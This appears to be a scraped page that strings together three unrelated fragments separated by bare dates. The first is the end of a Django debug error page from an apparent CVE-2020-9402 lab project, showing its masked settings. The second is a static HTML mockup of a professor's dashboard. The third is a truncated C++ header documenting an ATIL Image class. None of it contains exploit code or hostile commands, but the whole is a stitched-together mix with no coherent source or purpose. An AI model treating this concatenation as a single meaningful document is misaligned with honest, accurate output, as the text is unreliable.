<td>wsgi.file_wrapper</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>wsgi.input</td> <td class="code"><pre><django.core.handlers.wsgi.LimitedStream object at 0x7eb69366d930></pre></td> </tr> <tr> <td>wsgi.multiprocess</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>wsgi.multithread</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>wsgi.run_once</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>wsgi.url_scheme</td> <td class="code"><pre>'http'</pre></td> </tr> <tr> <td>wsgi.version</td> <td class="code"><pre>(1, 0)</pre></td> </tr> </tbody> </table> <h3 id="settings-info">Settings</h3> <h4>Using settings module <code>vuln.settings</code></h4> <table class="req"> <thead> <tr> <th>Setting</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>ABSOLUTE_URL_OVERRIDES</td> <td class="code"><pre>{}</pre></td> </tr> <tr> <td>ADMINS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>ALLOWED_HOSTS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>APPEND_SLASH</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>AUTHENTICATION_BACKENDS</td> <td class="code"><pre>['django.contrib.auth.backends.ModelBackend']</pre></td> </tr> <tr> <td>AUTH_PASSWORD_VALIDATORS</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>AUTH_USER_MODEL</td> <td class="code"><pre>'auth.User'</pre></td> </tr> <tr> <td>BASE_DIR</td> <td class="code"><pre>'/root/django_cve_2020_9402'</pre></td> </tr> <tr> <td>CACHES</td> <td class="code"><pre>{'default': {'BACKEND': 'django.core.cache.backends.locmem.LocMemCache'}}</pre></td> </tr> <tr> <td>CACHE_MIDDLEWARE_ALIAS</td> <td class="code"><pre>'default'</pre></td> </tr> <tr> <td>CACHE_MIDDLEWARE_KEY_PREFIX</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>CACHE_MIDDLEWARE_SECONDS</td> <td class="code"><pre>600</pre></td> </tr> <tr> <td>CSRF_COOKIE_AGE</td> <td class="code"><pre>31449600</pre></td> </tr> <tr> <td>CSRF_COOKIE_DOMAIN</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>CSRF_COOKIE_HTTPONLY</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>CSRF_COOKIE_NAME</td> <td class="code"><pre>'csrftoken'</pre></td> </tr> <tr> <td>CSRF_COOKIE_PATH</td> <td class="code"><pre>'/'</pre></td> </tr> <tr> <td>CSRF_COOKIE_SAMESITE</td> <td class="code"><pre>'Lax'</pre></td> </tr> <tr> <td>CSRF_COOKIE_SECURE</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>CSRF_FAILURE_VIEW</td> <td class="code"><pre>'django.views.csrf.csrf_failure'</pre></td> </tr> <tr> <td>CSRF_HEADER_NAME</td> <td class="code"><pre>'HTTP_X_CSRFTOKEN'</pre></td> </tr> <tr> <td>CSRF_TRUSTED_ORIGINS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>CSRF_USE_SESSIONS</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>DATABASES</td> <td class="code"><pre>{'default': {'ATOMIC_REQUESTS': False, 'AUTOCOMMIT': True, 'CONN_MAX_AGE': 0, 'ENGINE': 'django.db.backends.sqlite3', 'HOST': '', 'NAME': '/root/django_cve_2020_9402/db.sqlite3', 'OPTIONS': {}, 'PASSWORD': '********************', 'PORT': '', 'TEST': {'CHARSET': None, 'COLLATION': None, 'MIRROR': None, 'NAME': None}, 'TIME_ZONE': None, 'USER': ''}}</pre></td> </tr> <tr> <td>DATABASE_ROUTERS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>DATA_UPLOAD_MAX_MEMORY_SIZE</td> <td class="code"><pre>2621440</pre></td> </tr> <tr> <td>DATA_UPLOAD_MAX_NUMBER_FIELDS</td> <td class="code"><pre>1000</pre></td> </tr> <tr> <td>DATETIME_FORMAT</td> <td class="code"><pre>'N j, Y, P'</pre></td> </tr> <tr> <td>DATETIME_INPUT_FORMATS</td> <td class="code"><pre>['%Y-%m-%d %H:%M:%S', '%Y-%m-%d %H:%M:%S.%f', '%Y-%m-%d %H:%M', '%Y-%m-%d', '%m/%d/%Y %H:%M:%S', '%m/%d/%Y %H:%M:%S.%f', '%m/%d/%Y %H:%M', '%m/%d/%Y', '%m/%d/%y %H:%M:%S', '%m/%d/%y %H:%M:%S.%f', '%m/%d/%y %H:%M', '%m/%d/%y']</pre></td> </tr> <tr> <td>DATE_FORMAT</td> <td class="code"><pre>'N j, Y'</pre></td> </tr> <tr> <td>DATE_INPUT_FORMATS</td> <td class="code"><pre>['%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y', '%b %d %Y', '%b %d, %Y', '%d %b %Y', '%d %b, %Y', '%B %d %Y', '%B %d, %Y', '%d %B %Y', '%d %B, %Y']</pre></td> </tr> <tr> <td>DEBUG</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>DEBUG_PROPAGATE_EXCEPTIONS</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>DECIMAL_SEPARATOR</td> <td class="code"><pre>'.'</pre></td> </tr> <tr> <td>DEFAULT_CHARSET</td> <td class="code"><pre>'utf-8'</pre></td> </tr> <tr> <td>DEFAULT_EXCEPTION_REPORTER_FILTER</td> <td class="code"><pre>'django.views.debug.SafeExceptionReporterFilter'</pre></td> </tr> <tr> <td>DEFAULT_FILE_STORAGE</td> <td class="code"><pre>'django.core.files.storage.FileSystemStorage'</pre></td> </tr> <tr> <td>DEFAULT_FROM_EMAIL</td> <td class="code"><pre>'webmaster@localhost'</pre></td> </tr> <tr> <td>DEFAULT_INDEX_TABLESPACE</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>DEFAULT_TABLESPACE</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>DISALLOWED_USER_AGENTS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>EMAIL_BACKEND</td> <td class="code"><pre>'django.core.mail.backends.smtp.EmailBackend'</pre></td> </tr> <tr> <td>EMAIL_HOST</td> <td class="code"><pre>'localhost'</pre></td> </tr> <tr> <td>EMAIL_HOST_PASSWORD</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>EMAIL_HOST_USER</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>EMAIL_PORT</td> <td class="code"><pre>25</pre></td> </tr> <tr> <td>EMAIL_SSL_CERTFILE</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>EMAIL_SSL_KEYFILE</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>EMAIL_SUBJECT_PREFIX</td> <td class="code"><pre>'[Django] '</pre></td> </tr> <tr> <td>EMAIL_TIMEOUT</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>EMAIL_USE_LOCALTIME</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>EMAIL_USE_SSL</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>EMAIL_USE_TLS</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>FILE_CHARSET</td> <td class="code"><pre>'utf-8'</pre></td> </tr> <tr> <td>FILE_UPLOAD_DIRECTORY_PERMISSIONS</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>FILE_UPLOAD_HANDLERS</td> <td class="code"><pre>['django.core.files.uploadhandler.MemoryFileUploadHandler', 'django.core.files.uploadhandler.TemporaryFileUploadHandler']</pre></td> </tr> <tr> <td>FILE_UPLOAD_MAX_MEMORY_SIZE</td> <td class="code"><pre>2621440</pre></td> </tr> <tr> <td>FILE_UPLOAD_PERMISSIONS</td> <td class="code"><pre>420</pre></td> </tr> <tr> <td>FILE_UPLOAD_TEMP_DIR</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>FIRST_DAY_OF_WEEK</td> <td class="code"><pre>0</pre></td> </tr> <tr> <td>FIXTURE_DIRS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>FORCE_SCRIPT_NAME</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>FORMAT_MODULE_PATH</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>FORM_RENDERER</td> <td class="code"><pre>'django.forms.renderers.DjangoTemplates'</pre></td> </tr> <tr> <td>IGNORABLE_404_URLS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>INSTALLED_APPS</td> <td class="code"><pre>['django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'app']</pre></td> </tr> <tr> <td>INTERNAL_IPS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>LANGUAGES</td> <td class="code"><pre>[('af', 'Afrikaans'), ('ar', 'Arabic'), ('ast', 'Asturian'), ('az', 'Azerbaijani'), ('bg', 'Bulgarian'), ('be', 'Belarusian'), ('bn', 'Bengali'), ('br', 'Breton'), ('bs', 'Bosnian'), ('ca', 'Catalan'), ('cs', 'Czech'), ('cy', 'Welsh'), ('da', 'Danish'), ('de', 'German'), ('dsb', 'Lower Sorbian'), ('el', 'Greek'), ('en', 'English'), ('en-au', 'Australian English'), ('en-gb', 'British English'), ('eo', 'Esperanto'), ('es', 'Spanish'), ('es-ar', 'Argentinian Spanish'), ('es-co', 'Colombian Spanish'), ('es-mx', 'Mexican Spanish'), ('es-ni', 'Nicaraguan Spanish'), ('es-ve', 'Venezuelan Spanish'), ('et', 'Estonian'), ('eu', 'Basque'), ('fa', 'Persian'), ('fi', 'Finnish'), ('fr', 'French'), ('fy', 'Frisian'), ('ga', 'Irish'), ('gd', 'Scottish Gaelic'), ('gl', 'Galician'), ('he', 'Hebrew'), ('hi', 'Hindi'), ('hr', 'Croatian'), ('hsb', 'Upper Sorbian'), ('hu', 'Hungarian'), ('hy', 'Armenian'), ('ia', 'Interlingua'), ('id', 'Indonesian'), ('io', 'Ido'), ('is', 'Icelandic'), ('it', 'Italian'), ('ja', 'Japanese'), ('ka', 'Georgian'), ('kab', 'Kabyle'), ('kk', 'Kazakh'), ('km', 'Khmer'), ('kn', 'Kannada'), ('ko', 'Korean'), ('lb', 'Luxembourgish'), ('lt', 'Lithuanian'), ('lv', 'Latvian'), ('mk', 'Macedonian'), ('ml', 'Malayalam'), ('mn', 'Mongolian'), ('mr', 'Marathi'), ('my', 'Burmese'), ('nb', 'Norwegian Bokmål'), ('ne', 'Nepali'), ('nl', 'Dutch'), ('nn', 'Norwegian Nynorsk'), ('os', 'Ossetic'), ('pa', 'Punjabi'), ('pl', 'Polish'), ('pt', 'Portuguese'), ('pt-br', 'Brazilian Portuguese'), ('ro', 'Romanian'), ('ru', 'Russian'), ('sk', 'Slovak'), ('sl', 'Slovenian'), ('sq', 'Albanian'), ('sr', 'Serbian'), ('sr-latn', 'Serbian Latin'), ('sv', 'Swedish'), ('sw', 'Swahili'), ('ta', 'Tamil'), ('te', 'Telugu'), ('th', 'Thai'), ('tr', 'Turkish'), ('tt', 'Tatar'), ('udm', 'Udmurt'), ('uk', 'Ukrainian'), ('ur', 'Urdu'), ('uz', 'Uzbek'), ('vi', 'Vietnamese'), ('zh-hans', 'Simplified Chinese'), ('zh-hant', 'Traditional Chinese')]</pre></td> </tr> <tr> <td>LANGUAGES_BIDI</td> <td class="code"><pre>['he', 'ar', 'fa', 'ur']</pre></td> </tr> <tr> <td>LANGUAGE_CODE</td> <td class="code"><pre>'en-us'</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_AGE</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_DOMAIN</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_HTTPONLY</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_NAME</td> <td class="code"><pre>'django_language'</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_PATH</td> <td class="code"><pre>'/'</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_SAMESITE</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_SECURE</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>LOCALE_PATHS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>LOGGING</td> <td class="code"><pre>{}</pre></td> </tr> <tr> <td>LOGGING_CONFIG</td> <td class="code"><pre>'logging.config.dictConfig'</pre></td> </tr> <tr> <td>LOGIN_REDIRECT_URL</td> <td class="code"><pre>'/accounts/profile/'</pre></td> </tr> <tr> <td>LOGIN_URL</td> <td class="code"><pre>'/accounts/login/'</pre></td> </tr> <tr> <td>LOGOUT_REDIRECT_URL</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>MANAGERS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>MEDIA_ROOT</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>MEDIA_URL</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>MESSAGE_STORAGE</td> <td class="code"><pre>'django.contrib.messages.storage.fallback.FallbackStorage'</pre></td> </tr> <tr> <td>MIDDLEWARE</td> <td class="code"><pre>['django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware']</pre></td> </tr> <tr> <td>MIGRATION_MODULES</td> <td class="code"><pre>{}</pre></td> </tr> <tr> <td>MONTH_DAY_FORMAT</td> <td class="code"><pre>'F j'</pre></td> </tr> <tr> <td>NUMBER_GROUPING</td> <td class="code"><pre>0</pre></td> </tr> <tr> <td>PASSWORD_HASHERS</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>PASSWORD_RESET_TIMEOUT_DAYS</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>PREPEND_WWW</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>ROOT_URLCONF</td> <td class="code"><pre>'vuln.urls'</pre></td> </tr> <tr> <td>SECRET_KEY</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>SECURE_BROWSER_XSS_FILTER</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SECURE_CONTENT_TYPE_NOSNIFF</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>SECURE_HSTS_INCLUDE_SUBDOMAINS</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SECURE_HSTS_PRELOAD</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SECURE_HSTS_SECONDS</td> <td class="code"><pre>0</pre></td> </tr> <tr> <td>SECURE_PROXY_SSL_HEADER</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>SECURE_REDIRECT_EXEMPT</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>SECURE_REFERRER_POLICY</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>SECURE_SSL_HOST</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>SECURE_SSL_REDIRECT</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SERVER_EMAIL</td> <td class="code"><pre>'root@localhost'</pre></td> </tr> <tr> <td>SESSION_CACHE_ALIAS</td> <td class="code"><pre>'default'</pre></td> </tr> <tr> <td>SESSION_COOKIE_AGE</td> <td class="code"><pre>1209600</pre></td> </tr> <tr> <td>SESSION_COOKIE_DOMAIN</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>SESSION_COOKIE_HTTPONLY</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>SESSION_COOKIE_NAME</td> <td class="code"><pre>'sessionid'</pre></td> </tr> <tr> <td>SESSION_COOKIE_PATH</td> <td class="code"><pre>'/'</pre></td> </tr> <tr> <td>SESSION_COOKIE_SAMESITE</td> <td class="code"><pre>'Lax'</pre></td> </tr> <tr> <td>SESSION_COOKIE_SECURE</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SESSION_ENGINE</td> <td class="code"><pre>'django.contrib.sessions.backends.db'</pre></td> </tr> <tr> <td>SESSION_EXPIRE_AT_BROWSER_CLOSE</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SESSION_FILE_PATH</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>SESSION_SAVE_EVERY_REQUEST</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SESSION_SERIALIZER</td> <td class="code"><pre>'django.contrib.sessions.serializers.JSONSerializer'</pre></td> </tr> <tr> <td>SETTINGS_MODULE</td> <td class="code"><pre>'vuln.settings'</pre></td> </tr> <tr> <td>SHORT_DATETIME_FORMAT</td> <td class="code"><pre>'m/d/Y P'</pre></td> </tr> <tr> <td>SHORT_DATE_FORMAT</td> <td class="code"><pre>'m/d/Y'</pre></td> </tr> <tr> <td>SIGNING_BACKEND</td> <td class="code"><pre>'django.core.signing.TimestampSigner'</pre></td> </tr> <tr> <td>SILENCED_SYSTEM_CHECKS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>STATICFILES_DIRS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>STATICFILES_FINDERS</td> <td class="code"><pre>['django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder']</pre></td> </tr> <tr> <td>STATICFILES_STORAGE</td> <td class="code"><pre>'django.contrib.staticfiles.storage.StaticFilesStorage'</pre></td> </tr> <tr> <td>STATIC_ROOT</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>STATIC_URL</td> <td class="code"><pre>'/static/'</pre></td> </tr> <tr> <td>TEMPLATES</td> <td class="code"><pre>[{'APP_DIRS': True, 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'OPTIONS': {'context_processors': ['django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages']}}]</pre></td> </tr> <tr> <td>TEST_NON_SERIALIZED_APPS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>TEST_RUNNER</td> <td class="code"><pre>'django.test.runner.DiscoverRunner'</pre></td> </tr> <tr> <td>THOUSAND_SEPARATOR</td> <td class="code"><pre>','</pre></td> </tr> <tr> <td>TIME_FORMAT</td> <td class="code"><pre>'P'</pre></td> </tr> <tr> <td>TIME_INPUT_FORMATS</td> <td class="code"><pre>['%H:%M:%S', '%H:%M:%S.%f', '%H:%M']</pre></td> </tr> <tr> <td>TIME_ZONE</td> <td class="code"><pre>'UTC'</pre></td> </tr> <tr> <td>USE_I18N</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>USE_L10N</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>USE_THOUSAND_SEPARATOR</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>USE_TZ</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>USE_X_FORWARDED_HOST</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>USE_X_FORWARDED_PORT</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>WSGI_APPLICATION</td> <td class="code"><pre>'vuln.wsgi.application'</pre></td> </tr> <tr> <td>X_FRAME_OPTIONS</td> <td class="code"><pre>'DENY'</pre></td> </tr> <tr> <td>YEAR_MONTH_FORMAT</td> <td class="code"><pre>'F Y'</pre></td> </tr> </tbody> </table> </div> <div id="explanation"> <p> You're seeing this error because you have <code>DEBUG = True</code> in your Django settings file. Change that to <code>False</code>, and Django will display a standard page generated by the handler for this status code. </p> </div> </body> </html>
12-01
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>University Professor Dashboard</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; } body { background-color: #f5f7fa; padding: 20px; color: #333; } .dashboard-container { max-width: 1200px; margin: 0 auto; } .dashboard-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; padding-bottom: 15px; border-bottom: 1px solid #ddd; } .dashboard-title { font-size: 24px; font-weight: 600; color: #2c3e50; } .filters { display: flex; gap: 15px; } .filter-item { padding: 8px 12px; border: 1px solid #ddd; border-radius: 4px; background: white; cursor: pointer; } .dashboard-grid { display: grid; grid-template-columns: 1fr 1fr; grid-template-rows: auto auto; gap: 20px; } .dashboard-card { background: white; border-radius: 8px; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05); padding: 20px; display: flex; flex-direction: column; } .card-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 1px solid #eee; } .card-title { font-size: 18px; font-weight: 600; color: #2c3e50; } .card-more { color: #3498db; cursor: pointer; font-size: 14px; } .card-content { flex: 1; display: flex; flex-direction: column; gap: 15px; } .chart-container { height: 200px; background: #f8f9fa; border-radius: 4px; display: flex; align-items: center; justify-content: center; color: #7f8c8d; margin-bottom: 10px; } .data-table { width: 100%; border-collapse: collapse; } .data-table th, .data-table td { padding: 10px; text-align: left; border-bottom: 1px solid #eee; } .data-table th { font-weight: 600; color: #7f8c8d; font-size: 14px; } .status-indicator { display: inline-block; width: 10px; height: 10px; border-radius: 50%; margin-right: 5px; } .status-good { background-color: #2ecc71; } .status-warning { background-color: #f39c12; } .status-bad { background-color: #e74c3c; } .task-list { list-style-type: none; } .task-item { padding: 10px 0; border-bottom: 1px solid #eee; display: flex; align-items: center; } .task-item:last-child { border-bottom: none; } .task-checkbox { margin-right: 10px; } .task-text { flex: 1; } .task-date { color: #7f8c8d; font-size: 14px; } .calendar-view { display: grid; grid-template-columns: repeat(7, 1fr); gap: 5px; } .calendar-day { height: 30px; display: flex; align-items: center; justify-content: center; border-radius: 4px; font-size: 14px; } .calendar-day.header { font-weight: 600; color: #7f8c8d; background: none; } .calendar-day.event { background: #e3f2fd; color: #1976d2; } .calendar-day.today { background: #1976d2; color: white; } .gauge-container { display: flex; justify-content: space-around; margin: 15px 0; } .gauge { text-align: center; } .gauge-circle { width: 80px; height: 40px; border-radius: 80px 80px 0 0; background: #e0e0e0; position: relative; overflow: hidden; margin: 0 auto 10px; } .gauge-fill { position: absolute; bottom: 0; width: 100%; background: #3498db; transition: height 0.5s; } .gauge-label { font-size: 14px; color: #7f8c8d; } @media (max-width: 768px) { .dashboard-grid { grid-template-columns: 1fr; } } </style> </head> <body> <div class="dashboard-container"> <div class="dashboard-header"> <div class="dashboard-title">Professor Dashboard</div> <div class="filters"> <div class="filter-item">This Semester</div> <div class="filter-item">This Month</div> <div class="filter-item">This Week</div> </div> </div> <div class="dashboard-grid"> <!-- Teaching Module --> <div class="dashboard-card"> <div class="card-header"> <div class="card-title">Teaching</div> <div class="card-more">View Details</div> </div> <div class="card-content"> <div class="chart-container"> Average Grades by Course (Bar Chart) </div> <div class="gauge-container"> <div class="gauge"> <div class="gauge-circle"> <div class="gauge-fill" style="height: 75%"></div> </div> <div class="gauge-label">Student Satisfaction</div> </div> <div class="gauge"> <div class="gauge-circle"> <div class="gauge-fill" style="height: 60%"></div> </div> <div class="gauge-label">Course Completion</div> </div> </div> <div> <h4>This Week's Classes</h4> <table class="data-table"> <tr> <th>Course</th> <th>Date/Time</th> <th>Location</th> </tr> <tr> <td>CS 101</td> <td>Mon, 10:00 AM</td> <td>Room 302</td> </tr> <tr> <td>DS 205</td> <td>Wed, 2:00 PM</td> <td>Lab 115</td> </tr> <tr> <td>CS 301</td> <td>Fri, 11:00 AM</td> <td>Room 410</td> </tr> </table> </div> </div> </div> <!-- Research Module --> <div class="dashboard-card"> <div class="card-header"> <div class="card-title">Research</div> <div class="card-more">View Details</div> </div> <div class="card-content"> <div class="chart-container"> Project Progress (Pie Chart) </div> <div class="chart-container" style="height: 150px;"> Research Funding Usage (Bar Chart) </div> <div> <h4>Recent Publications</h4> <table class="data-table"> <tr> <th>Paper Title</th> <th>Journal/Conference</th> <th>Status</th> </tr> <tr> <td>AI in Education</td> <td>Journal of EdTech</td> <td><span class="status-indicator status-good"></span>Published</td> </tr> <tr> <td>Data Visualization Methods</td> <td>Viz Conference</td> <td><span class="status-indicator status-warning"></span>Under Review</td> </tr> <tr> <td>Learning Analytics</td> <td>LAK Conference</td> <td><span class="status-indicator status-bad"></span>Revisions Needed</td> </tr> </table> </div> </div> </div> <!-- Student Supervision Module --> <div class="dashboard-card"> <div class="card-header"> <div class="card-title">Student Supervision</div> <div class="card-more">View Details</div> </div> <div class="card-content"> <div> <h4>Graduate Student Progress</h4> <table class="data-table"> <tr> <th>Student</th> <th>Thesis Topic</th> <th>Progress</th> <th>Status</th> </tr> <tr> <td>Alex Johnson</td> <td>ML in Healthcare</td> <td>85%</td> <td><span class="status-indicator status-good"></span>On Track</td> </tr> <tr> <td>Sam Davis</td> <td>Data Privacy</td> <td>60%</td> <td><span class="status-indicator status-warning"></span>Needs Attention</td> </tr> <tr> <td>Taylor Kim</td> <td>EdTech Tools</td> <td>45%</td> <td><span class="status-indicator status-bad"></span>Behind Schedule</td> </tr> </table> </div> <div> <h4>Upcoming Meetings</h4> <table class="data-table"> <tr> <th>Student</th> <th>Date/Time</th> <th>Purpose</th> </tr> <tr> <td>Alex Johnson</td> <td>Oct 15, 2:00 PM</td> <td>Thesis Draft Review</td> </tr> <tr> <td>Sam Davis</td> <td>Oct 16, 10:00 AM</td> <td>Research Problems</td> </tr> </table> </div> </div> </div> <!-- Administrative Module --> <div class="dashboard-card"> <div class="card-header"> <div class="card-title">Administrative</div> <div class="card-more">View Details</div> </div> <div class="card-content"> <div> <h4>Tasks To Do</h4> <ul class="task-list"> <li class="task-item"> <input type="checkbox" class="task-checkbox"> <div class="task-text">Submit grades for CS 101</div> <div class="task-date">Oct 20</div> </li> <li class="task-item"> <input type="checkbox" class="task-checkbox"> <div class="task-text">Review department budget</div> <div class="task-date">Oct 22</div> </li> <li class="task-item"> <input type="checkbox" class="task-checkbox"> <div class="task-text">Prepare faculty meeting presentation</div> <div class="task-date">Oct 25</div> </li> <li class="task-item"> <input type="checkbox" class="task-checkbox"> <div class="task-text">Submit research grant proposal</div> <div class="task-date">Nov 1</div> </li> </ul> </div> <div> <h4>Upcoming Meetings & Events</h4> <div class="calendar-view"> <div class="calendar-day header">S</div> <div class="calendar-day header">M</div> <div class="calendar-day header">T</div> <div class="calendar-day header">W</div> <div class="calendar-day header">T</div> <div class="calendar-day header">F</div> <div class="calendar-day header">S</div> <div class="calendar-day">1</div> <div class="calendar-day">2</div> <div class="calendar-day">3</div> <div class="calendar-day">4</div> <div class="calendar-day">5</div> <div class="calendar-day">6</div> <div class="calendar-day">7</div> <div class="calendar-day">8</div> <div class="calendar-day">9</div> <div class="calendar-day">10</div> <div class="calendar-day">11</div> <div class="calendar-day event">12</div> <div class="calendar-day">13</div> <div class="calendar-day">14</div> <div class="calendar-day">15</div> <div class="calendar-day event">16</div> <div class="calendar-day">17</div> <div class="calendar-day today">18</div> <div class="calendar-day">19</div> <div class="calendar-day event">20</div> <div class="calendar-day">21</div> </div> </div> </div> </div> </div> </div> </body> </html>
10-24
class Image { public: friend class Internal; /// <summary> /// The empty or "NULL" constructor for an <c>Atil::Image</c>. /// </summary> /// /// <remarks> /// An instance of an image created through this constructor is intended only to facilitate /// the later assignment of a valid image. The instance created through this constructor has /// no internal data that can be returned. Attempting access any data from a "NULL" image will /// result in an exception. /// </remarks> Image (); /// <summary> /// The clone constructor of the Image class allows the construction of a new instance based /// on an existing instance. /// </summary> /// /// <param name= 'image'> /// A const reference to the image to be copied. /// </param> /// /// <exception cref="ImageConstructionException">Thrown when the image can /// not be cloned <see cref="ImageConstructionException"/>. /// </exception> /// /// <remarks> /// ATIL implements the Image class with a "letter - envelope" or "Bridge" /// design pattern. See "Design Patterns, ISBN 0-201-63361-2". /// </remarks> /// Image (const Image & image); /// <summary> /// The blank image constructor for an <c>Image</c>. /// </summary> /// /// <param name='size'>The size of the image to be created.</param> /// /// <param name='colorspace'>The DataModel of the image to be created.</param> /// /// <param name='initialColor'>The clear color of the image data.</param> /// /// <param name='sz'>The tile size to use for the image. /// The default, <c>DataModel::TileSize::kUnspecified</c> is recommended. /// </param> /// /// <exception cref="ImageConstructionException">An exception will be thrown /// if the image can not be constructed. <see cref="ImageConstructionException"/>. /// </exception> /// Image (const Size& size, const DataModel* colorspace, ImagePixel initialColor, DataModel::TileSize sz = DataModel::kUnspecified); /// <summary> /// The user supplied buffer constructor for <c>Atil::Image</c>. This method of construction /// will wrap a user supplied buffer with the Image object allowing ATIL and the using /// application mutual access to the image data. Images created in this way are not memory managed. /// </summary> /// /// <param name='pData'>A pointer to the buffer that the image should use for its image /// data storage. /// </param> /// /// <param name='nBytesInBuffer'>An integer that describes the number of bytes /// that have been allocated in the <c>pData</c> parameter. /// </param> /// /// <param name='nBytesPerRow'>An integer that describes the number of bytes in /// one row of the data. This sometimes referred to as the stride of the data. /// The number of bytes from the beginning of one row to the beginning of the next row. /// </param> /// /// <param name='size'>The horizontal and vertical dimensions of the image. /// The buffer in pData must be large enough to hold these dimensions. /// </param> /// /// <param name='pDm'>A constant pointer to a <c>DataModel</c> instance that /// represents the data that will be contained in the image. /// </param> /// /// <exception cref="ImageConstructionException">An exception will be thrown /// if the image can not be constructed. <see cref="ImageConstructionException"/>. /// </exception> /// Image (void* pData, int nBytesInBuffer, int nBytesPerRow, const Size& size, const DataModel* pDm); /// <summary> /// A <c>RowProviderInterface</c> based constructor for Image. /// </summary> /// /// <param name='pPipe'>A source of image data. /// </param> /// /// <param name='sz'>The tile size to be used for the image. /// </param> /// /// <exception cref="ImageConstructionException">An exception 